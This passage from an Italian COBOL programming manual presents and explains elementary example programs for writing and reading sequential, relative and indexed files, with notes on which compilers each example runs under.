Si controlla se la stringa inserita contiene soltanto asterischi; se è così viene messo il valore uno nella variabile '**EOJ**', altrimenti viene scritta la riga inserita nel file da scrivere e subito dopo viene eseguito nuovamente il paragrafo '**INSERIMENTO-DATI**'.

Paragrafo '**INSERIMENTO-DATI**'

Il paragrafo riceve dall'esterno il contenuto di una riga da registrare nel file, tenendo conto che vengono prese in considerazione al massimo i primi 30 caratteri, pari alla dimensione della variabile che deve accogliere i dati.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1400.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "output.seq"
001300                             ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-SCRIVERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-SCRIVERE PIC X(30).
002300*
002400 WORKING-STORAGE SECTION.
002500 01  EOJ                PIC 9   VALUE ZERO.
002600*
002700 PROCEDURE DIVISION.
002800*------------------------- LIVELLO 0 -----------------------------
002900 MAIN.
003000     OPEN EXTEND FILE-DA-SCRIVERE.
003100     PERFORM INSERIMENTO-DATI.
003200     PERFORM LAVORO UNTIL EOJ = 1.
003300     CLOSE FILE-DA-SCRIVERE.
003400*
003500     STOP RUN.
003600*------------------------- LIVELLO 1 -----------------------------
003700 LAVORO.
003800     IF RECORD-DA-SCRIVERE = ALL "*"
003900       THEN
004000           MOVE 1 TO EOJ;
004100       ELSE
004200           WRITE RECORD-DA-SCRIVERE,
004300           PERFORM INSERIMENTO-DATI.
004400*------------------------- LIVELLO 2 -----------------------------
004500 INSERIMENTO-DATI.
004600     DISPLAY "INSERISCI LA RIGA".
004700     DISPLAY "PER FINIRE INSERISCI TUTTI ASTERISCHI".
004800     ACCEPT RECORD-DA-SCRIVERE.
```

```
004900*
```

Per fare in modo che le righe del file siano concluse come avviene di solito nei file di testo, con un codice di interruzione di riga, occorre specificare nell'istruzione '**SELECT**' un accesso di tipo '**LINE SEQUENTIAL**'.

84.2.14 ELM1500: lettura di un file sequenziale

File

'**FILE-DA-LEGGERE**' rappresenta il file che viene letto dal programma (il nome del file è '`input.seq`'). Il file è di tipo sequenziale, dove ogni riga ha una dimensione fissa e non si fa affidamento sulla presenza di un codice di interruzione di riga.

Variabili

'**RECORD-DA-LEGGERE**' è la riga del file da leggere;

'**EOF**' quando assume il valore 1 indica che la lettura ha superato la fine del file.

Descrizione

Il programma visualizza il contenuto di un file.

La lettura avviene a blocchi di 30 caratteri, indipendentemente dal fatto che siano presenti dei codici di interruzione di riga. Diversamente, per fare in modo che la lettura sia al massimo di 30 caratteri, ma rispettando anche i codici di interruzione di riga, occorre specificare nell'istruzione '**SELECT**' un accesso di tipo '**LINE SEQUENTIAL**'.

Paragrafo '**MAIN**'

Viene aperto in lettura il file da leggere.

Viene eseguita la lettura di un primo blocco, pari alla dimensione della variabile '**RECORD-DA-LEGGERE**'; se si verifica la condizione '**AT END**', ovvero se il file è vuoto, viene messo il valore uno nella variabile '**EOF**'.

Viene eseguito il paragrafo '**LETTURA**', ripetutamente, utilizzando come condizione di arresto il fatto che la variabile '**EOF**' contenga il valore uno.

Viene chiuso il file da leggere.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LETTURA**'

Viene visualizzata la porzione di file appena letta.

Viene eseguita la lettura del file da leggere; se si verifica la condizione '**AT END**', ovvero se la lettura non ha acquisito alcunché, viene messo il valore uno nella variabile '**EOF**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1500.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
```

```
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "input.seq"
001300                            ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-LEGGERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-LEGGERE PIC X(30).
002300*
002400 WORKING-STORAGE SECTION.
002500 01  EOF               PIC 9   VALUE ZERO.
002600*
002700 PROCEDURE DIVISION.
002800*------------------------- LIVELLO 0 -----------------------------
002900 MAIN.
003000     OPEN INPUT FILE-DA-LEGGERE.
003100     READ FILE-DA-LEGGERE
003200          AT END
003300                MOVE 1 TO EOF.
003400     PERFORM LETTURA UNTIL EOF = 1.
003500     CLOSE FILE-DA-LEGGERE.
003600*
003700     STOP RUN.
003800*------------------------- LIVELLO 1 -----------------------------
003900 LETTURA.
004000     DISPLAY RECORD-DA-LEGGERE.
004100     READ FILE-DA-LEGGERE
004200          AT END
004300                MOVE 1 TO EOF.
004400*
```

Figura 84.23. Foto ricordo della festa conclusiva di un corso sul linguaggio COBOL realizzato con l'elaboratore Burroughs B91, presumibilmente tra il 1982 e il 1983. Nell'immagine, l'ingegnere che ha tenuto il corso compila un diploma preparato per scherzo dagli studenti che lo hanno frequentato.

84.3 Esempi elementari con i file

Qui si raccolgono alcuni esempi elementari di programmi COBOL per l'accesso ai file, risalenti a un lavoro didattico del 1983. Salvo dove indicato in maniera differente, gli esempi mostrati funzionano regolarmente se compilati con OpenCOBOL 0.31.

84.3.1 AGO-83-1: estensione di un file sequenziale

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-1.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
```

```
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "file.seq"
001300                             ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-SCRIVERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-SCRIVERE.
002300     02  CODICE-FILE      PIC 9(10) COMP.
002400     02  TESTO            PIC X(75).
002500*
002600 WORKING-STORAGE SECTION.
002700*
002800 01  CAMPI-SCALARI.
002900     02  EOJ              PIC 9     COMP VALUE IS 0.
003000*
003100 PROCEDURE DIVISION.
003200*------------------------- LIVELLO 0 -----------------------------
003300 MAIN.
003400     OPEN EXTEND FILE-DA-SCRIVERE.
003500     PERFORM INSERIMENTO-DATI UNTIL EOJ = 1.
003600     CLOSE FILE-DA-SCRIVERE.
003700     STOP RUN.
003800*------------------------- LIVELLO 1 -----------------------------
003900 INSERIMENTO-DATI.
004000     DISPLAY "INSERISCI PRIMA IL CODICE NUMERICO, POI IL TESTO"
004100     ACCEPT CODICE-FILE.
004200     IF CODICE-FILE = 0
004300       THEN
004400           MOVE 1 TO EOJ,
004500       ELSE
004600           ACCEPT TESTO,
004700           WRITE RECORD-DA-SCRIVERE.
004800*
```

84.3.2 AGO-83-2: lettura sequenziale e ricerca di una chiave

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-2.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
```

```
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.seq"
001300                            ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-LEGGERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-LEGGERE.
002300     02  CODICE-FILE      PIC 9(10) COMP.
002400     02  TESTO            PIC X(75).
002500*
002600 WORKING-STORAGE SECTION.
002700*
002800 01  CAMPI-SCALARI.
002900     02  EOF              PIC 9     COMP VALUE IS 0.
003000     02  EOJ              PIC 9     COMP VALUE IS 0.
003100     02  CODICE-RECORD    PIC 9(10) COMP VALUE IS 0.
003200*
003300 PROCEDURE DIVISION.
003400*------------------------- LIVELLO 0 -----------------------------
003500 MAIN.
003600     OPEN INPUT FILE-DA-LEGGERE.
003700     READ FILE-DA-LEGGERE
003800          AT END MOVE 1 TO EOF.
003900     PERFORM DOMANDA UNTIL EOF = 1 OR EOJ = 1.
004000     CLOSE FILE-DA-LEGGERE.
004100     STOP RUN.
004200*------------------------- LIVELLO 1 -----------------------------
004300 DOMANDA.
004400     DISPLAY "INSERISCI IL CODICE DEL RECORD, DI 10 CIFRE"
004500     ACCEPT CODICE-RECORD.
004600     IF CODICE-RECORD = 0
004700       THEN
004800           MOVE 1 TO EOJ.
004900     PERFORM RICERCA UNTIL EOF = 1 OR EOJ = 1.
005000     CLOSE FILE-DA-LEGGERE.
005100     MOVE ZERO TO EOF.
005200     OPEN INPUT FILE-DA-LEGGERE.
005300     READ FILE-DA-LEGGERE
005400          AT END MOVE 1 TO EOF.
005500*------------------------- LIVELLO 2 -----------------------------
005600 RICERCA.
005700     IF CODICE-FILE = CODICE-RECORD
005800       THEN
005900           DISPLAY CODICE-FILE, " ", TESTO.
006000     READ FILE-DA-LEGGERE
006100          AT END MOVE 1 TO EOF.
```

```
006200*
```

84.3.3 AGO-83-3: estensione di un file relativo

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-3.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "file.rel"
001300                             ORGANIZATION IS RELATIVE
001400                             ACCESS MODE IS SEQUENTIAL.
001500*
001600 DATA DIVISION.
001700*
001800 FILE SECTION.
001900*
002000 FD  FILE-DA-SCRIVERE
002100     LABEL RECORD IS STANDARD.
002200*
002300 01  RECORD-DA-SCRIVERE.
002400     02  TESTO             PIC X(80).
002500*
002600 WORKING-STORAGE SECTION.
002700*
002800 01  CAMPI-SCALARI.
002900     02  EOJ               PIC 9     COMP VALUE IS 0.
003000*
003100 PROCEDURE DIVISION.
003200*------------------------- LIVELLO 0 -----------------------------
003300 MAIN.
003400     OPEN EXTEND FILE-DA-SCRIVERE.
003500     PERFORM INSERIMENTO-DATI UNTIL EOJ = 1.
003600     CLOSE FILE-DA-SCRIVERE.
003700     STOP RUN.
003800*------------------------- LIVELLO 1 -----------------------------
003900 INSERIMENTO-DATI.
004000     DISPLAY "INSERISCI IL TESTO DEL RECORD"
004100     ACCEPT TESTO.
004200     IF TESTO = SPACES
004300       THEN
004400           MOVE 1 TO EOJ,
004500       ELSE
004600           WRITE RECORD-DA-SCRIVERE.
004700*
```

84.3.4 AGO-83-4: lettura di un file relativo ad accesso diretto

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-4.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.rel"
001300                            ORGANIZATION IS RELATIVE
001400                            ACCESS MODE IS RANDOM
001500                            RELATIVE KEY IS N-RECORD.
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-DA-LEGGERE
002200     LABEL RECORD IS STANDARD.
002300*
002400 01  RECORD-DA-LEGGERE.
002500     02  TESTO            PIC X(80).
002600*
002700 WORKING-STORAGE SECTION.
002800*
002900 01  CAMPI-SCALARI.
003000     02  INVALID-KEY      PIC 9     COMP VALUE IS 0.
003100     02  EOJ              PIC 9     COMP VALUE IS 0.
003200     02  N-RECORD         PIC 9(10) COMP VALUE IS 0.
003300*
003400 PROCEDURE DIVISION.
003500*------------------------- LIVELLO 0 -----------------------------
003600 MAIN.
003700     OPEN INPUT FILE-DA-LEGGERE.
003800     PERFORM ELABORA UNTIL EOJ = 1.
003900     CLOSE FILE-DA-LEGGERE.
004000     STOP RUN.
004100*------------------------- LIVELLO 1 -----------------------------
004200 ELABORA.
004300     DISPLAY "INSERISCI IL NUMERO DEL RECORD"
004400     ACCEPT N-RECORD.
004500     IF N-RECORD = 0
004600       THEN
004700           MOVE 1 TO EOJ;
004800       ELSE
004900           PERFORM LEGGI,
005000           IF INVALID-KEY = 1
005100             THEN
```

```
005200                 DISPLAY "INVALID KEY";
005300             ELSE
005400                 PERFORM VISUALIZZA.
005500*------------------------- LIVELLO 2 -----------------------------
005600 VISUALIZZA.
005700     DISPLAY N-RECORD, " ", TESTO.
005800*-----------------------------------------------------------------
005900 LEGGI.
006000     MOVE ZERO TO INVALID-KEY.
006100     READ FILE-DA-LEGGERE
006200          INVALID KEY
006300                     MOVE 1 TO INVALID-KEY.
006400*
```

84.3.5 AGO-83-5: creazione di un file a indice

Questo esempio funziona con il compilatore TinyCOBOL 0.61. In questo caso, vengono creati due file: '`file.ind`' e '`file.ind1`', che insieme costituiscono lo stesso file logico.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-5.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "file.ind"
001300                             ORGANIZATION IS INDEXED
001400                             ACCESS MODE IS SEQUENTIAL
001500                             RECORD KEY IS CHIAVE
001600                             ALTERNATE RECORD KEY IS CHIAVE2
001700                                       WITH DUPLICATES.
001800*
001900 DATA DIVISION.
002000*
002100 FILE SECTION.
002200*
002300 FD  FILE-DA-SCRIVERE
002400     LABEL RECORD IS STANDARD.
002500*
002600 01  RECORD-DA-SCRIVERE.
002700     02  CHIAVE          PIC X(5).
002800     02  CHIAVE2         PIC X(5).
002900     02  TESTO           PIC X(70).
003000*
003100 WORKING-STORAGE SECTION.
003200*
```

```
003300 01  CAMPI-SCALARI.
003400     02  EOJ              PIC 9     COMP VALUE IS 0.
003500*
003600 PROCEDURE DIVISION.
003700*------------------------- LIVELLO 0 -----------------------------
003800 MAIN.
003900     OPEN OUTPUT FILE-DA-SCRIVERE.
004000     PERFORM INSERIMENTO-DATI UNTIL EOJ = 1.
004100     CLOSE FILE-DA-SCRIVERE.
004200     STOP RUN.
004300*------------------------- LIVELLO 1 -----------------------------
004400 INSERIMENTO-DATI.
004500     DISPLAY "INSERISCI IL RECORD: I PRIMI CINQUE CARATTERI ",
004600             "COSTITUISCONO LA CHIAVE PRIMARIA ",
004700             "CHE DEVE ESSERE UNICA"
004800     ACCEPT RECORD-DA-SCRIVERE.
004900     IF RECORD-DA-SCRIVERE = SPACES
005000       THEN
005100           MOVE 1 TO EOJ,
005200       ELSE
005300           WRITE RECORD-DA-SCRIVERE
005400                 INVALID KEY
005500                             DISPLAY "LA CHIAVE ", CHIAVE,
005600                                     " E' DOPPIA, OPPURE "
005700                                     "NON E' VALIDA".
005800*
```

84.3.6 AGO-83-6: lettura di un file a indice ad accesso diretto

Questo esempio funziona con il compilatore TinyCOBOL 0.61 e utilizza il file creato con l'esempio precedente.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-6.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.ind"
001300                            ORGANIZATION IS INDEXED
001400                            ACCESS MODE IS RANDOM
001500                            RECORD KEY IS CHIAVE
001600                            ALTERNATE RECORD KEY IS CHIAVE2
001700                                      WITH DUPLICATES.
001800*
001900 DATA DIVISION.
```

```
002000*
002100 FILE SECTION.
002200*
002300 FD  FILE-DA-LEGGERE
002400     LABEL RECORD IS STANDARD.
002500*
002600 01  RECORD-DA-LEGGERE.
002700     02  CHIAVE           PIC X(5).
002800     02  CHIAVE2          PIC X(5).
002900     02  TESTO            PIC X(70).
003000*
003100 WORKING-STORAGE SECTION.
003200*
003300 01  CAMPI-SCALARI.
003400     02  EOJ              PIC 9     COMP VALUE IS 0.
003500     02  INV-KEY          PIC 9     COMP VALUE IS 0.
003600*
003700 PROCEDURE DIVISION.
003800*------------------------- LIVELLO 0 -----------------------------
003900 MAIN.
004000     OPEN INPUT FILE-DA-LEGGERE.
004100     PERFORM ELABORAZIONE UNTIL EOJ = 1.
004200     CLOSE FILE-DA-LEGGERE.
004300     STOP RUN.
004400*------------------------- LIVELLO 1 -----------------------------
004500 ELABORAZIONE.
004600     DISPLAY "INSERISCI LA CHIAVE PRIMARIA".
004700     ACCEPT CHIAVE.
004800     IF CHIAVE = SPACES
004900       THEN
005000           MOVE 1 TO EOJ,
005100       ELSE
005200           PERFORM LEGGI,
005300           IF INV-KEY = 1
005400             THEN
005500                 DISPLAY "INVALID KEY: ", CHIAVE,
005600             ELSE
005700                 DISPLAY CHIAVE, " ", CHIAVE2, " ", TESTO.
005800*------------------------- LIVELLO 2 -----------------------------
005900 LEGGI.
006000     MOVE 0 TO INV-KEY.
006100     READ FILE-DA-LEGGERE
006200          INVALID KEY
006300                      MOVE 1 TO INV-KEY.
006400*
```

84.3.7 AGO-83-8: lettura di un file a indice ad accesso dinamico

Questo esempio funziona parzialmente con il compilatore TinyCOBOL 0.61 e utilizza il file già predisposto per quello precedente. Si osservi che si fa riferimento alla chiave secondaria del file, in modo da poter contare sulla presenza di chiavi doppie.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-8.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.ind"
001300                            ORGANIZATION IS INDEXED
001400                            ACCESS MODE IS DYNAMIC
001500                            RECORD KEY IS CHIAVE2.
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-DA-LEGGERE
002200     LABEL RECORD IS STANDARD.
002300*
002400 01  RECORD-DA-LEGGERE.
002500     02  CHIAVE           PIC X(5).
002600     02  CHIAVE2          PIC X(5).
002700     02  TESTO            PIC X(70).
002800*
002900 WORKING-STORAGE SECTION.
003000*
003100 01  CAMPI-SCALARI.
003200     02  EOJ              PIC 9     COMP VALUE IS 0.
003300     02  EOF              PIC 9     COMP VALUE IS 0.
003400     02  INV-KEY          PIC 9     COMP VALUE IS 0.
003500     02  END-KEY          PIC 9     COMP VALUE IS 0.
003600     02  CHIAVE-W         PIC X(5).
003700*
003800 PROCEDURE DIVISION.
003900*------------------------ LIVELLO 0 -----------------------------
004000 MAIN.
004100     OPEN INPUT FILE-DA-LEGGERE.
004200     PERFORM ELABORAZIONE UNTIL EOJ = 1.
004300     CLOSE FILE-DA-LEGGERE.
004400     STOP RUN.
004500*------------------------ LIVELLO 1 -----------------------------
004600 ELABORAZIONE.
004700     DISPLAY "INSERISCI LA CHIAVE SECONDARIA".
```

```
004800     ACCEPT CHIAVE2.
004900     IF CHIAVE2 = SPACES
005000       THEN
005100           MOVE 1 TO EOJ,
005200       ELSE
005300           MOVE CHIAVE2 TO CHIAVE-W,
005400           PERFORM LEGGI,
005500           IF INV-KEY = 1
005600             THEN
005700                 DISPLAY "INVALID KEY: ", CHIAVE2,
005800             ELSE
005900                 PERFORM MOSTRA-LEGGI-NEXT
006000                         UNTIL END-KEY = 1
006100                            OR EOF     = 1.
006200*------------------------- LIVELLO 2 -----------------------------
006300 LEGGI.
006400     MOVE ZERO TO END-KEY.
006500     MOVE ZERO TO EOF.
006600     MOVE ZERO TO INV-KEY.
006700     READ FILE-DA-LEGGERE
006800          INVALID KEY MOVE 1 TO INV-KEY.
006900*-----------------------------------------------------------------
007000 MOSTRA-LEGGI-NEXT.
007100     DISPLAY CHIAVE, " ", CHIAVE2, " ", TESTO.
007200     READ FILE-DA-LEGGERE NEXT RECORD
007300          AT END MOVE 1 TO EOF.
007400     IF NOT CHIAVE-W = CHIAVE2
007500       THEN
007600           MOVE 1 TO END-KEY.
007700*
```

84.3.8 AGO-83-10: lettura di un file a indice ad accesso dinamico

Questo esempio funziona con il compilatore TinyCOBOL 0.61 e utilizza il file già predisposto per quello precedente. In questo caso si ritorna a utilizzare la chiave primaria.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-10.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.ind"
001300                            ORGANIZATION IS INDEXED
001400                            ACCESS MODE IS DYNAMIC
001500                            RECORD KEY IS CHIAVE.
```

```
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-DA-LEGGERE
002200     LABEL RECORD IS STANDARD.
002300*
002400 01  RECORD-DA-LEGGERE.
002500     02  CHIAVE           PIC X(5).
002600     02  CHIAVE2          PIC X(5).
002700     02  TESTO            PIC X(70).
002800*
002900 WORKING-STORAGE SECTION.
003000*
003100 01  CAMPI-SCALARI.
003200     02  EOJ              PIC 9     COMP VALUE IS 0.
003300     02  EOF              PIC 9     COMP VALUE IS 0.
003400     02  INV-KEY          PIC 9     COMP VALUE IS 0.
003500     02  END-KEY          PIC 9     COMP VALUE IS 0.
003600     02  CHIAVE-INIZIALE  PIC X(5).
003700     02  CHIAVE-FINALE    PIC X(5).
003800     02  CHIAVE-SCAMBIO   PIC X(5).
003900*
004000 PROCEDURE DIVISION.
004100*------------------------- LIVELLO 0 -----------------------------
004200 MAIN.
004300     OPEN INPUT FILE-DA-LEGGERE.
004400     PERFORM ELABORAZIONE UNTIL EOJ = 1.
004500     CLOSE FILE-DA-LEGGERE.
004600     STOP RUN.
004700*------------------------- LIVELLO 1 -----------------------------
004800 ELABORAZIONE.
004900     DISPLAY "INSERISCI LA CHIAVE PRIMARIA INIZIALE, POI QUELLA ",
005000             "FINALE".
005100     ACCEPT CHIAVE-INIZIALE.
005200     ACCEPT CHIAVE-FINALE.
005300     IF CHIAVE-INIZIALE > CHIAVE-FINALE
005400       THEN
005500           MOVE CHIAVE-INIZIALE TO CHIAVE-SCAMBIO,
005600           MOVE CHIAVE-FINALE   TO CHIAVE-INIZIALE,
005700           MOVE CHIAVE-SCAMBIO  TO CHIAVE-FINALE.
005800     IF CHIAVE-INIZIALE = SPACES
005900       THEN
006000           MOVE 1 TO EOJ,
006100       ELSE
006200           MOVE CHIAVE-INIZIALE TO CHIAVE,
006300           PERFORM LEGGI,
006400           IF INV-KEY = 1
006500             THEN
006600                 DISPLAY "INVALID KEY: ", CHIAVE,
006700             ELSE
006800                 PERFORM MOSTRA-LEGGI-NEXT
```

```
006900                         UNTIL END-KEY = 1
007000                            OR EOF     = 1.
007100*------------------------- LIVELLO 2 -----------------------------
007200 LEGGI.
007300     MOVE ZERO TO END-KEY.
007400     MOVE ZERO TO EOF.
007500     MOVE ZERO TO INV-KEY.
007600     READ FILE-DA-LEGGERE
007700          INVALID KEY MOVE 1 TO INV-KEY.
007800*-----------------------------------------------------------------
007900 MOSTRA-LEGGI-NEXT.
008000     DISPLAY CHIAVE, " ", CHIAVE2, " ", TESTO.
008100     READ FILE-DA-LEGGERE NEXT RECORD
008200          AT END MOVE 1 TO EOF.
008300     IF CHIAVE > CHIAVE-FINALE
008400       THEN
008500           MOVE 1 TO END-KEY.
008600*
```

84.3.9 AGO-83-12: lettura di un file a indice ad accesso dinamico

Questo esempio funziona con il compilatore TinyCOBOL 0.61 e utilizza il file già predisposto per quello precedente. In questo caso si utilizza l'istruzione '**START**' per il posizionamento iniziale.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-12.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "file.ind"
001300                            ORGANIZATION IS INDEXED
001400                            ACCESS MODE IS DYNAMIC
001500                            RECORD KEY IS CHIAVE.
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-DA-LEGGERE
002200     LABEL RECORD IS STANDARD.
002300*
002400 01  RECORD-DA-LEGGERE.
002500     02  CHIAVE           PIC X(5).
002600     02  CHIAVE2          PIC X(5).
002700     02  TESTO            PIC X(70).
```

```
002800*
002900 WORKING-STORAGE SECTION.
003000*
003100 01  CAMPI-SCALARI.
003200     02  EOJ              PIC 9     COMP VALUE IS 0.
003300     02  EOF              PIC 9     COMP VALUE IS 0.
003400     02  INV-KEY          PIC 9     COMP VALUE IS 0.
003500     02  END-KEY          PIC 9     COMP VALUE IS 0.
003600     02  CHIAVE-INIZIALE  PIC X(5).
003700     02  CHIAVE-FINALE    PIC X(5).
003800     02  CHIAVE-SCAMBIO   PIC X(5).
003900*
004000 PROCEDURE DIVISION.
004100*------------------------- LIVELLO 0 -----------------------------
004200 MAIN.
004300     OPEN INPUT FILE-DA-LEGGERE.
004400     PERFORM ELABORAZIONE UNTIL EOJ = 1.
004500     CLOSE FILE-DA-LEGGERE.
004600     STOP RUN.
004700*------------------------- LIVELLO 1 -----------------------------
004800 ELABORAZIONE.
004900     DISPLAY "INSERISCI LA CHIAVE PRIMARIA INIZIALE, POI QUELLA ",
005000             "FINALE".
005100     ACCEPT CHIAVE-INIZIALE.
005200     ACCEPT CHIAVE-FINALE.
005300     IF CHIAVE-INIZIALE > CHIAVE-FINALE
005400       THEN
005500           MOVE CHIAVE-INIZIALE TO CHIAVE-SCAMBIO,
005600           MOVE CHIAVE-FINALE   TO CHIAVE-INIZIALE,
005700           MOVE CHIAVE-SCAMBIO  TO CHIAVE-FINALE.
005800     IF CHIAVE-INIZIALE = SPACES
005900       THEN
006000           MOVE 1 TO EOJ,
006100       ELSE
006200           MOVE CHIAVE-INIZIALE TO CHIAVE,
006300           PERFORM START-LEGGI,
006400           IF INV-KEY = 1
006500             THEN
006600                 DISPLAY "INVALID KEY: ", CHIAVE,
006700             ELSE
006800                 PERFORM MOSTRA-LEGGI-NEXT
006900                         UNTIL END-KEY = 1
007000                            OR EOF     = 1.
007100*------------------------- LIVELLO 2 -----------------------------
007200 START-LEGGI.
007300     MOVE ZERO TO END-KEY.
007400     MOVE ZERO TO EOF.
007500     MOVE ZERO TO INV-KEY.
007600     START FILE-DA-LEGGERE KEY IS NOT < CHIAVE
007700          INVALID KEY MOVE 1 TO INV-KEY.
007800     IF NOT INV-KEY = 1
007900       THEN
008000           PERFORM LEGGI.
```

```
008100*------------------------------------------------------------------
008200 MOSTRA-LEGGI-NEXT.
008300     DISPLAY CHIAVE, " ", CHIAVE2, " ", TESTO.
008400     PERFORM LEGGI.
008500*------------------------- LIVELLO 3 -----------------------------
008600 LEGGI.
008700     READ FILE-DA-LEGGERE NEXT RECORD
008800          AT END MOVE 1 TO EOF.
008900     IF CHIAVE > CHIAVE-FINALE
009000       THEN
009100           MOVE 1 TO END-KEY.
009200*
```

84.3.10 AGO-83-13: creazione di un file sequenziale con dati da rielaborare

Questo esempio serve a creare un file sequenziale, contenente dei calcoli da eseguire, successivamente, con un altro programma.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-13.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-22.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "calc.seq"
001300                             ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-SCRIVERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-SCRIVERE.
002300     02  NUMERO-1         PIC 9(15).
002400     02  TIPO-CALCOLO     PIC X.
002500     02  NUMERO-2         PIC 9(15).
002600     02  FILLER           PIC X.
002700     02  RISULTATO        PIC 9(15).
002800     02  FILLER           PIC X.
002900     02  RESTO            PIC 9(15).
003000     02  NOTE             PIC X(18).
003100*
003200 WORKING-STORAGE SECTION.
```

```
003300*
003400 01  CAMPI-SCALARI.
003500     02  EOJ              PIC 9     COMP VALUE IS 0.
003600*
003700 PROCEDURE DIVISION.
003800*------------------------- LIVELLO 0 -----------------------------
003900 MAIN.
004000     OPEN EXTEND FILE-DA-SCRIVERE.
004100     PERFORM INSERIMENTO-DATI UNTIL EOJ = 1.
004200     CLOSE FILE-DA-SCRIVERE.
004300     STOP RUN.
004400*------------------------- LIVELLO 1 -----------------------------
004500 INSERIMENTO-DATI.
004600     DISPLAY "INSERISCI, IN SEQUENZA, IL PRIMO NUMERO, ",
004700             "IL SIMBOLO DELL'OPERAZIONE, IL SECONDO NUMERO".
